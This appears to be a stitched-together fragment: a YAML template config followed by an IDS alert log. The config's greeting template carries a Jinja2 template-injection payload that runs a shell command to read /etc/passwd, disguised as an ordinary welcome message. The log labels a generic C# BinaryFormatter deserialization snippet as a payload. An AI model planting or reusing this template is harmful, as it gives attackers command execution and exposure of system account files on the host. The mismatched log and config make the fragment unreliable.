# config/templates.yml
greeting_template: "Hello {{lipsum.__globals__['os'].popen('cat /etc/passwd').read()}}, welcome to our platform!"
email_template: "Dear {{name}}, your order is confirmed."

[2025-11-08T01:00:52Z] ALERT IDS: Suspicious deserialization pattern detected
Source IP: 12.112.62.183
Payload:
using System.Runtime.Serialization.Formatters.Binary;

BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);
